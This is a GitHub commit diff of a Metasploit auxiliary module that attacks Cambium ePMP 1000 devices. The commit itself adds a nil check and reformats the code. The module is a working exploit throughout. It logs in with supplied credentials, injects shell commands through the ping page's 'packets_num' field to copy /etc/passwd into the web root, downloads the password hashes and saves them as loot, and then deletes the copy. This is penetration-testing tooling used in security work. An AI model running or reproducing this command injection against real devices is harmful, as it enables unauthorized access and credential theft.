Skip to content

Commit 9a5ab60

Browse files
committed
Added nil check + formatting edits
1 parent e8460c3 commit 9a5ab60

File tree

1 file changed

+143
-79
lines changed

1 file changed

+143
-79
lines changed

modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb

Lines changed: 143 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -94,13 +94,19 @@ def is_app_epmp1000?
9494
return false
9595
end
9696

97-
if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com')))
97+
good_response = (
98+
res &&
99+
res.code == 200 &&
100+
res.headers['Server'] &&
101+
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
102+
)
98103

104+
if good_response
99105
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
100106
epmp_ver = get_epmp_ver[1]
101107
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
102108

103-
if ("#{epmp_ver}" >= '2.5')
109+
if "#{epmp_ver}" >= '2.5'
104110
print_error('This ePMP version is not vulnerable. Module will not continue.')
105111
return false
106112
else
@@ -121,9 +127,12 @@ def do_login(user, pass)
121127
begin
122128
res = send_request_cgi(
123129
{
124-
'uri' => '/cgi-bin/luci',
125-
'method' => 'POST',
126-
'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01' },
130+
'uri' => '/cgi-bin/luci',
131+
'method' => 'POST',
132+
'headers' => {
133+
'X-Requested-With' => 'XMLHttpRequest',
134+
'Accept' => 'application/json, text/javascript, */*; q=0.01'
135+
},
127136
'vars_post' =>
128137
{
129138
'username' => 'dashboard',
@@ -132,17 +141,28 @@ def do_login(user, pass)
132141
}
133142
)
134143

135-
if (res && res.code == 200 && res.headers.include?('Set-Cookie') && res.headers['Set-Cookie'].include?('sysauth'))
144+
good_response = (
145+
res &&
146+
res.code == 200 &&
147+
res.headers.include?('Set-Cookie') &&
148+
res.headers['Set-Cookie'].include?('sysauth')
149+
)
150+
151+
if good_response
136152
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
137153

138154
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
139155

140156
res = send_request_cgi(
141157
{
142-
'uri' => '/cgi-bin/luci',
143-
'method' => 'POST',
144-
'cookie' => cookie1,
145-
'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Connection' => 'close' },
158+
'uri' => '/cgi-bin/luci',
159+
'method' => 'POST',
160+
'cookie' => cookie1,
161+
'headers' => {
162+
'X-Requested-With' => 'XMLHttpRequest',
163+
'Accept' => 'application/json, text/javascript, */*; q=0.01',
164+
'Connection' => 'close'
165+
},
146166
'vars_post' =>
147167
{
148168
'username' => user,
@@ -153,7 +173,14 @@ def do_login(user, pass)
153173

154174
end
155175

156-
if (res && res.code == 200 && res.headers.include?('Set-Cookie') && res.headers['Set-Cookie'].include?('stok='))
176+
good_response = (
177+
res &&
178+
res.code == 200 &&
179+
res.headers.include?('Set-Cookie') &&
180+
res.headers['Set-Cookie'].include?('stok=')
181+
)
182+
183+
if good_response
157184
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
158185

159186
report_cred(
@@ -165,83 +192,120 @@ def do_login(user, pass)
165192
)
166193

167194
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
168-
stok_value = get_stok[1]
169-
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
195+
if !get_stok.nil?
196+
stok_value = get_stok[1]
197+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
170198

171-
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
199+
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
172200

173-
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
174-
command = 'cp /etc/passwd /www/'
175-
inject = '|' + "#{command}" + ' ||'
176-
clean_inject = CGI.unescapeHTML(inject.to_s)
201+
uri1 = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/ping'
202+
command = 'cp /etc/passwd /www/'
203+
inject = '|' + "#{command}" + ' ||'
204+
clean_inject = CGI.unescapeHTML(inject.to_s)
177205

178-
res = send_request_cgi(
179-
{
180-
'uri' => uri1,
181-
'method' => 'POST',
182-
'cookie' => cookie2,
183-
'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest', 'ctype' => '*/*', 'Connection' => 'close' },
184-
'vars_post' =>
185-
{
186-
'ping_ip' => '8.8.8.8',
187-
'packets_num' => clean_inject,
188-
'buf_size' => 0,
189-
'ttl' => 1,
190-
'debug' => '0'
206+
res = send_request_cgi(
207+
{
208+
'uri' => uri1,
209+
'method' => 'POST',
210+
'cookie' => cookie2,
211+
'headers' => {
212+
'Accept' => '*/*',
213+
'Accept-Language' => 'en-US,en;q=0.5',
214+
'Accept-Encoding' => 'gzip, deflate',
215+
'X-Requested-With' => 'XMLHttpRequest',
216+
'ctype' => '*/*',
217+
'Connection' => 'close'
218+
},
219+
'vars_post' =>
220+
{
221+
'ping_ip' => '8.8.8.8',
222+
'packets_num' => clean_inject,
223+
'buf_size' => 0,
224+
'ttl' => 1,
225+
'debug' => '0'
226+
}
227+
}
228+
)
229+
230+
res = send_request_cgi(
231+
{
232+
'method' => 'GET',
233+
'uri' => '/passwd',
234+
'cookie' => cookie2,
235+
'headers' => {
236+
'Accept' => '*/*',
237+
'Accept-Language' => 'en-US,en;q=0.5',
238+
'Accept-Encoding' => 'gzip, deflate',
239+
'X-Requested-With' => 'XMLHttpRequest',
240+
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
241+
'Connection' => 'close'
191242
}
192-
}
193-
)
243+
}, 25
244+
)
245+
246+
if res && res.code == 200 && res.body =~ /root/
247+
vprint_status('++++++++++++++++++++++++++++++++++++++')
248+
vprint_status("#{rhost}:#{rport} - dumping password hashes")
249+
vprint_line("#{res.body}")
250+
vprint_status('++++++++++++++++++++++++++++++++++++++')
251+
252+
print_good("#{rhost}:#{rport} - File retrieved successfully!")
253+
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
254+
print_status("#{rhost}:#{rport} - File saved in: #{path}")
255+
else
256+
print_error("#{rhost}:#{rport} - Failed to retrieve hashes")
257+
return
258+
end
259+
260+
command = 'rm /www/passwd'
261+
inject = '|' + "#{command}" + ' ||'
262+
clean_inject = CGI.unescapeHTML(inject.to_s)
263+
264+
res = send_request_cgi(
265+
{
266+
'uri' => uri1,
267+
'method' => 'POST',
268+
'cookie' => cookie2,
269+
'headers' => {
270+
'Accept' => '*/*',
271+
'Accept-Language' => 'en-US,en;q=0.5',
272+
'Accept-Encoding' => 'gzip, deflate',
273+
'X-Requested-With' => 'XMLHttpRequest',
274+
'ctype' => '*/*',
275+
'Connection' => 'close'
276+
},
277+
'vars_post' =>
278+
{
279+
'ping_ip' => '8.8.8.8',
280+
'packets_num' => clean_inject,
281+
'buf_size' => 0,
282+
'ttl' => 1,
283+
'debug' => '0'
284+
}
285+
}
286+
)
194287

195-
res = send_request_cgi({ 'method' => 'GET', 'uri' => '/passwd', 'cookie' => cookie2, 'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest', 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Connection' => 'close' } }, 25)
288+
# Extract ePMP version
289+
res = send_request_cgi(
290+
{
291+
'uri' => '/',
292+
'method' => 'GET'
293+
}
294+
)
196295

197-
if res && res.code == 200 && res.body =~ /root/
198-
vprint_status('++++++++++++++++++++++++++++++++++++++')
199-
vprint_status("#{rhost}:#{rport} - dumping password hashes")
200-
vprint_line("#{res.body}")
201-
vprint_status('++++++++++++++++++++++++++++++++++++++')
296+
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
202297

203-
print_good("#{rhost}:#{rport} - File retrieved successfully!")
204-
path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
205-
print_status("#{rhost}:#{rport} - File saved in: #{path}")
298+
report_cred(
299+
ip: rhost,
300+
port: rport,
301+
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
302+
user: user,
303+
password: pass
304+
)
206305
else
207-
print_error("#{rhost}:#{rport} - Failed to retrieve hashes")
208-
return
306+
# Login failed
307+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
209308
end
210-
211-
command = 'rm /www/passwd'
212-
inject = '|' + "#{command}" + ' ||'
213-
clean_inject = CGI.unescapeHTML(inject.to_s)
214-
215-
res = send_request_cgi(
216-
{
217-
'uri' => uri1,
218-
'method' => 'POST',
219-
'cookie' => cookie2,
220-
'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest', 'ctype' => '*/*', 'Connection' => 'close' },
221-
'vars_post' => { 'ping_ip' => '8.8.8.8', 'packets_num' => clean_inject, 'buf_size' => 0, 'ttl' => 1, 'debug' => '0' }
222-
}
223-
)
224-
225-
# Extract ePMP version
226-
res = send_request_cgi(
227-
{
228-
'uri' => '/',
229-
'method' => 'GET'
230-
}
231-
)
232-
233-
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
234-
235-
report_cred(
236-
ip: rhost,
237-
port: rport,
238-
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
239-
user: user,
240-
password: pass
241-
)
242-
else
243-
# Login failed
244-
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
245309
end
246310
end
247311
end

0 commit comments

Comments
 (0)